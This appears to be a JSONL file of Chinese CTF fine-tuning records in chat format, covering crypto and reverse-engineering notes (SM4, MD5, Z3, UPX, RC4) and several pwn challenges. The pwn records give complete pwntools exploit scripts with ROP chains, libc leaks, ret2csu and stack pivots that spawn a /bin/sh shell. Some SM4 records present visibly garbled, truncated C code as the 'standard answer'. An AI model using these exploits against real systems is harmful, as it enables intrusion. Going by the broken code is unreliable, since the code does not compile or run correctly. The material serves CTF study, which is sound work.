perror(\"EVP_CIPHER_CTX_new failed\");\n        return -1;\n    }\n\n    // 初始化SM4加密\n    if (1 != EVP_EncryptInit_ex(ctx, EVP_sm4_ecb(), NULL, key, NULL)) {\n        perror(\"EVP_EncryptInit_ex failed\");\n        EVP_CIPHER_CTX_free(ctx);\n        return -1;\n    }\n\n    // 执行加密\n    if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, BLOCK_SIZE)) {\n        perror(\"EVP_EncryptUpdate failed\");\n        EVP_CIPHER_CTX_free(ctx);\n        return -1;\n    }\n    ciphertext_len = len;\n\n    // 完成加密操作\n    if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) {\n        perror(\"EVP_EncryptFinal_ex failed\");\n        EVP_CIPHER_CTX_free(ctx);\n        return -1;\n    }\n    ciphertext_len += len;\n\n    EVP_CIPHER_CTX_free(ctx);\n    return ciphertext_len;\n}\n\nint main() {\n    // 密钥和明文数据\n    unsigned char key[KEY_LENGTH] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef,\n                                      0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef};\n    unsigned char plaintext[BLOCK_SIZE] = \"Hello, SM4!1234\";  // 16字节明文\n    unsigned char ciphertext[BLOCK_SIZE];\n\n    int len = sm4_encrypt(key, plaintext, ciphertext);\n\n    // 输出加密结果\n    if (len >= 0) {\n        printf(\"Ciphertext (hex): \");\n        for (int i = 0; i > 24) & 0x\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::848554a8aaaa8f00", "original_line": 823, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "算法逻辑", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "848554a8aaaa8f00", "source_split": "train", "split": "train", "split_group_key": "f5c787d8e7f66bda789dbeee", "tags": ["crypto"], "title": "SM4 算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-aac67e7992f60059c0e9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019c1”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019c1”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nmain=0x4009a0\nrbx_rbp=0x0000000000400aec\nrdi=0x0000000000400c83\nrsi_r15=0x0000000000400c81\nret=0x00000000004006b9\noff=0x58\n\npayload=b'a'*off+p64(rdi)+p64(elf.got[\"puts\"])+p64(elf.plt.puts)+p64(elf.sym[\"main\"])\nru(\"Input your choice!\\n\")\nsl(b\"1\")\nru(\"Input your Plaintext to be encrypted\\n\")\nsl(payload)\nputs_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nsuccess(\"puts_addr -> {:#x}\".format(puts_addr))\n\nlibc=LibcSearcher(\"puts\",puts_addr)\nlibc_base=puts_addr-libc.dump(\"puts\")\nsh=libc_base+libc.dump(\"str_bin_sh\")\nsys=libc_base+libc.dump(\"system\")\npay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nru(b\"Input your choice!\\n\")\nsl(b\"1\")\nru(b\"Input your Plaintext to be encrypted\\n\")\nsl(pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::ea13543e15f9fee9", "original_line": 58, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019c1", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "ea13543e15f9fee9", "source_split": "test", "split": "train", "split_group_key": "d148247ff2431b0df67d0c96", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ab33dce28ad04a545e91", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《RSA与大数运算》中“OpenSSL”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《RSA与大数运算》的“OpenSSL”。\n语言/类型：shell\n关联知识点：\n- OpenSSL 是一个广泛使用的开源加密库，它提供了各种加密算法的实现，如 RSA、AES、DES、HMAC 等。它还提供了 SSL/TLS 协议的实现，可以用来加密网络通信。\n- | **函数**                                                                                                                             | **说明**                ...\n- | `SSL_library_init()`                                                                                                               | 初始化 OpenSSL 库。\n- | `SSL_load_error_strings()`                                                                                                         | 加载 OpenSSL 错误信息。\n- | `SSL_set_fd(SSL *ssl, int fd)`                                                                                                     | 将 SSL 对象与文件描述符 `fd` 绑定。\n代码片段：\n```shell\nsudo apt install libssl-dev\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c4049dd3465e7144", "original_line": 625, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c4049dd3465e7144", "source_split": "train", "split": "train", "split_group_key": "02847a7cca35cfa4f671cb25", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ab43f34faa3904d03e97", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019s3”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019s3”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsyscall=0x0000000000400501\nrax=0x00000000004004E2\nret=0x4003a9\nvul=0x4004ed\nrdi=0x00000000004005a3\n\n#泄露栈地址\npayload=b'a'*0x10+p64(vul)\ns(payload)\nr(0x20)\nstack=u64(r(8))\nbuf=stack-0x118\n\n#ret2csu\npayload=p64(ret)+b'/bin/sh\\x00'\npayload+=p64(rax)\npayload+=p64(0x40059a) #rdx=0\npayload+=p64(0)+p64(1) #rbx=0,rbp=1\npayload+=p64(buf)+p64(0)*3 #r12=buf_addr\npayload+=p64(0x400580)\npayload+=p64(0)*7\npayload+=p64(rdi)+p64(buf+8)#rdi=/bin/sh\npayload+=p64(syscall)\npayload+=p64(vul)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b79940f961d34a44", "original_line": 846, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019s3", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b79940f961d34a44", "source_split": "train", "split": "train", "split_group_key": "46b4ea82211d91af1cf9e15a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ab7b27bb38c01277b9e4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SM4 算法》的“算法逻辑”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：SM4 算法 / 算法逻辑（第 2 段）\n关键词：SBOX、，然后通过 findcrypt 进行识别。、SM4_FK、SM4_CK、len、findcrypt、rule、meta、description、Look\n蒸馏要点：\n- int len = sm4_encrypt(key, plaintext, ciphertext);\n- // 输出加密结果\n- if (len >= 0) {\n- printf(\"Ciphertext (hex): \");\n- for (int i = 0; i > 24) & 0xFF];\n- s1 = SBOX[(x >> 16) & 0xFF];\n- s2 = SBOX[(x >> 8) & 0xFF];\n可用于训练的标准回答：\nint len = sm4_encrypt(key, plaintext, ciphertext);\n\n// 输出加密结果\n    if (len >= 0) {\n        printf(\"Ciphertext (hex): \");\n        for (int i = 0; i > 24) & 0xFF];\ns1 = SBOX[(x >> 16) & 0xFF];\ns2 = SBOX[(x >> 8) & 0xFF];\ns3 = SBOX[x & 0xFF];\n```\n\n常见魔改：\n\n- 替换 S 盒为自定义表\n- 隐藏轮密钥生成逻辑\n\n可以直接将一些规则添加到 findcrypt 的规则文件`findcrypt3.rules`，然后通过 findcrypt 进行识别。\n\n```\nrule SM4_FK {\n\tmeta:\n\t\tdescription = \"Look for SM4_FKbox constants\"\n\tstrings:\n\t\t$c0 = { C6 BA B1 A3 50 33 AA 56 97 91 7D 67 DC 22 70 B2 }\n\tcondition:\n\t\t$c0\n}\n\nrule SM4_CK {\n\tmeta:\n\t\tdescription = \"Look for SM4_CKbox constants\"\n\tstrings:\n\t\t$c0 = { 15 0E 07 00 31 2A 23 1C 4D 46 3F 38 69 62 5B 54 85 7E 77 70 A1 9A 93 8C }\n\tcondition:\n\t\t$c0\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0cf614ec0c934347", "original_line": 785, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "算法逻辑", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0cf614ec0c934347", "source_split": "train", "split": "train", "split_group_key": "dae63dce91e416a22745d8a9", "tags": ["crypto"], "title": "SM4 算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ab8d6691c76b33de103d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“MD5”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Hash 类算法 / MD5\n关键词：MD5、input、uint8_t、digest、ctx、- 分三步完成哈希、源码的函数实现中，可以在靠近开头的位置看到四个固定常量。、xxxxxx、sizeof、MD5_CTX\n蒸馏要点：\n- MD5（Message-Digest Algorithm 5）是信息学中使用广泛的哈希算法\n- 这个算法具有很多性质：\n- 压缩性：对于任意长度的输入，输出长度总是相同的\n- 抗修改性：对原数据的一点点修改都会导致最终结果的最大变化。\n- 抗碰撞性：已知原数据和 MD5 值很难生成与原数据不同但 MD5 值相同的数据。\n- 可以理解为：生成任意一段数据的 “数字指纹”，对文件或数据的微小改动都会之间导致数字指纹的巨大变化。\n- Hash 算法常见一般有两种形式的调用：\n可用于训练的标准回答：\n### MD5\n\nMD5（Message-Digest Algorithm 5）是信息学中使用广泛的哈希算法\n\n这个算法具有很多性质：\n\n1. 压缩性：对于任意长度的输入，输出长度总是相同的\n2. 抗修改性：对原数据的一点点修改都会导致最终结果的最大变化。\n3. 抗碰撞性：已知原数据和 MD5 值很难生成与原数据不同但 MD5 值相同的数据。\n\n可以理解为：生成任意一段数据的 “数字指纹”，对文件或数据的微小改动都会之间导致数字指纹的巨大变化。\n\nHash 算法常见一般有两种形式的调用：\n\n- 封装成函数\n\n```c\nuint8_t digest[16];\nuint8_t input[]=\"xxxxxx\";\n\nMD5_hash(input,sizeof(input)-1,digest);\n```\n\n- 分三步完成哈希\n\n```c\nMD5_CTX ctx;\nuint8_t digest[16];\nuint8_t input[]=\"xxxxxx\";\n\nMD5_Init(&ctx);\nMD5_Update(&ctx,input,sizeof(input)-1);\nMD5_Final(&ctx,digest);\n```\n\n在`openssl`源码的函数实现中，可以在靠近开头的位置看到四个固定常量。\n\n```c\nA = 0x67452301\nB = 0xEFCDAB89\nC = 0x98BADCFE\nD = 0X10325476\n```\n\n识别特征：\n\n- 四个固定的常量（初始化向量）\n- 不论输入是多长，输出永远是16字节\n- 符合上述两种调用方式之一", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::1b7d1d1e1a43a22a", "original_line": 114, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "MD5", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "1b7d1d1e1a43a22a", "source_split": "validation", "split": "train", "split_group_key": "6eceb02e2bf9292dd6ffb170", "tags": ["crypto"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ac300a8dc7b7efad4c7d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“基本语句”？请用《Z3》中的内容回答。", "role": "user"}, {"content": "1. `Solver()`：创建一个通用求解器，以进行下一步的求解\n2. `add()`：添加约束条件，通常在 solver() 命令之后，添加的约束条件通常是一个逻辑等式。\n3. `check()`：添加完约束条件后，用来检测解的情况，有解的时候会返回 sat，无解的时候会返回 unsat\n4. `model()`：在存在解的时候，该函数会将每个限制条件所对应的解集的交集，进而得出正解。\n5. 分别对应设未知数，列方程组，判断方程是否有界，解方程组\n6. 在使用 z3 进行约束求解之前我们首先需要获得一个求解器类实例，本质上其实就是一组约束的集合：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::5ba0cfd8c0a43dbb", "original_line": 31, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "基本语句", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "5ba0cfd8c0a43dbb", "source_split": "test", "split": "train", "split_group_key": "2d2c7f3a17783dd4ef6f916b", "tags": ["reverse"], "title": "Z3", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ace8e70ca347e965a8df", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[CISCN 2019东南]PWN2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [CISCN 2019东南]PWN2\n关键词：p32、elf、payload、leak_ebp、off、CISCN、PWN2、bin、gift、leave\n可用于训练的标准回答：\n### [CISCN 2019东南]PWN2\n\n#栈迁移\n\n- exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\ncontext.arch=\"i386\"\n\nsa(b\"name?\\n\",b'a'*(0x28-1)+b'b')\nru(b\"aaab\")\n\n#泄露的ebp地址\nleak_ebp=u32(ru(b\"\\xff\"))\n\noff=0x38\nleave=0x8048593\n\n#payload开始地址\ntarget=leak_ebp-off-0x4\nsh=leak_ebp-off+0xc\n\npayload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b\"/bin/sh\\x00\"\npayload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c036d2e8ec743ffe", "original_line": 906, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[CISCN 2019东南]PWN2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c036d2e8ec743ffe", "source_split": "train", "split": "train", "split_group_key": "5b83614549142cdb04933284", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ad54f897766f98e4f0d6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“pwn2sctf2016”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / pwn2sctf2016\n关键词：p32、elf、libc、ELF、payload、addr、off、printf、sym、base\n可用于训练的标准回答：\n### pwn2sctf2016\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\nru(\"read? \")\nsl(\"-1\")\noff=48\n\npayload=b'a'*off+p32(elf.plt.printf)+p32(elf.sym.vuln)+p32(0x80486F8)+p32(elf.got.printf)\nebx_esi_edi_ebp=0x0804864c\nint_80=0x080484d0\n\nr()\nsl(payload)\nru(\"You said:\")\nru(\"You said: \")\naddr=u32(ru(b'\\xf7')[-4:])\nprint(\"addr\",hex(addr))\nru(\"read? \")\nsl(\"-1\")\nbase=addr-libc.sym.printf\nsh=base+next(libc.search(b\"/bin/sh\\x00\"))\nsys=base+libc.sym.system\npayload=b'a'*off+p32(sys)+b'a'*4+p32(sh)\nru(\"data!\\n\")\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::cec326de1cb0bd51", "original_line": 93, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "pwn2sctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "cec326de1cb0bd51", "source_split": "validation", "split": "train", "split_group_key": "9df0816aae6d581441ef8cb6", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ad999fc264d9d78604b5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《UPX 脱壳详解》的“UPX魔改壳”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：UPX 脱壳详解 / UPX魔改壳\n关键词：upx、UPX、upx1、upx0、UPX1、UPX0、rpx、upx2、CTF、.rsrc\n蒸馏要点：\n- 常规 UPX 壳 只要利用 upx 脱壳工具直接执行 upx -d 命令即可脱壳。\n- 不过只要做一些简单的修改就可以让 upx 工具失效。\n- 这种魔改壳在 CTF 中很常见。\n- ​\t我们先来查看一下未修改前的文件信息。\n- 可以看到图中显示了 upx1 和 3.91 upx 这两个特征标识。\n- 然后查看一下加壳后的区段窗口，发现只有三个区段。最明显的特征`upx0`和`upx1`.\n- 我们只需要修改它，就可以让 upx 脱壳工具无法脱壳。\n可用于训练的标准回答：\n### UPX魔改壳\n\n常规 UPX 壳 只要利用 upx 脱壳工具直接执行 upx -d 命令即可脱壳。\n\n不过只要做一些简单的修改就可以让 upx 工具失效。\n\n这种魔改壳在 CTF 中很常见。\n\n1. 修改区段名\n\n​\t我们先来查看一下未修改前的文件信息。\n\n​\n\n可以看到图中显示了 upx1 和 3.91 upx 这两个特征标识。\n\n​\n\n然后查看一下加壳后的区段窗口，发现只有三个区段。最明显的特征`upx0`和`upx1`.\n\n我们只需要修改它，就可以让 upx 脱壳工具无法脱壳。\n\n我们利用 010 Editor 编辑文件将`upx`改成`rpx`\n\n​\n\n尝试脱壳\n\n结果：\n\n可以看到失败了。\n\n只要改回原样就可以进行脱壳。\n\n2. 修改标识\n\n可以看到 3.96.UPX! 特征码。我们可以修改 3.96 版本号开始24个字节的内容。都不会对程序运行产生影响。\n\n修改标识之后，upx 脱壳工具就无法脱壳。不过可以利用 UPX Unpacker for Dummies 工具进行脱壳也可以直接手脱。\n\n后面我们会讲如何手动脱壳。\n\n>例题：[LitCTF 2024]hello_upx\n\n- 分析\n\nexe文件，查壳发现存在upx壳。\n\n直接使用脱壳机，脱壳失败。\n\n提示信息文件被修改，用 010 Editor 打开\n\n发现有四处地方被修改：\n\n这里我们列出正常upx加壳文件的区段信息进行对比\n\n>`UPX0`和`UPX1`是加 UPX 壳后的两个区段名。其中 UPX1 区段包含了需要解压的数据块。\n>`.rsrc`是程序资源信息区段名，这个区段含有原资源段的完整头部以及图标、Manifest、版本等未被压缩的资源，当然还有 UPX 自身需要的导入信息等（如果程序自身不含资源段，加壳后就是 UPX2）\n\n分析修改\n1. `upx0`被改成了小写\n2. `upx1`被改成了小写\n3. `upx2`被改成了小写\n4. `upx!`被改成了小写\n\n- 恢复\n\n将upx0、upx1、upx2和upx!全部修改为大写\n\n- 脱壳\n\n可以看到脱壳成功。\n\n分析代码逻辑\n\n-...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::13e4112b3d6220ff", "original_line": 60, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "UPX魔改壳", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "13e4112b3d6220ff", "source_split": "validation", "split": "train", "split_group_key": "5b9c19f53f1bcf16713a43d9", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ae40505f1f3aa0d67758", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“魔改RC4”？请用《RC4 算法》中的内容回答。", "role": "user"}, {"content": "1. YLCTF xorplus\n2. ida 反编译，从函数名称就可以判断为 rc4 加密，接下来我们寻找密钥。\n3. 在主函数中找到密钥，然后分析 rc4 算法是否是标准 rc4。\n4. 分析发现在 rc4 初始化部分存在魔改，即`v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;`。\n5. 接下来分析一下加密部分。\n6. 算法加密部分同样存在魔改，`*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f9d4ff432efd5c37", "original_line": 811, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "魔改RC4", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f9d4ff432efd5c37", "source_split": "train", "split": "train", "split_group_key": "171aba6a5f7f46cf97878344", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ae61ecf4f7d3826f7c80", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HNCTF 2022 WEEK3]smash”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HNCTF 2022 WEEK3]smash\n关键词：HNCTF、WEEK3、gift、elf、ELF、payload、smash、SSP_Leak、usr、bin\n蒸馏要点：\n- 通过覆盖环境变量指针来泄露数据，仅限于低版本的libc（2.23），高版本修复了这个漏洞。\n可用于训练的标准回答：\n### [HNCTF 2022 WEEK3]smash\n\n#SSP_Leak\n\n通过覆盖环境变量指针来泄露数据，仅限于低版本的libc（2.23），高版本修复了这个漏洞。\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\npayload=cyclic(504)+p64(0x404060)\nr()\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::17dc1961ffa5af80", "original_line": 728, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HNCTF 2022 WEEK3]smash", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "17dc1961ffa5af80", "source_split": "train", "split": "train", "split_group_key": "f81f483e7634773f688fa577", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
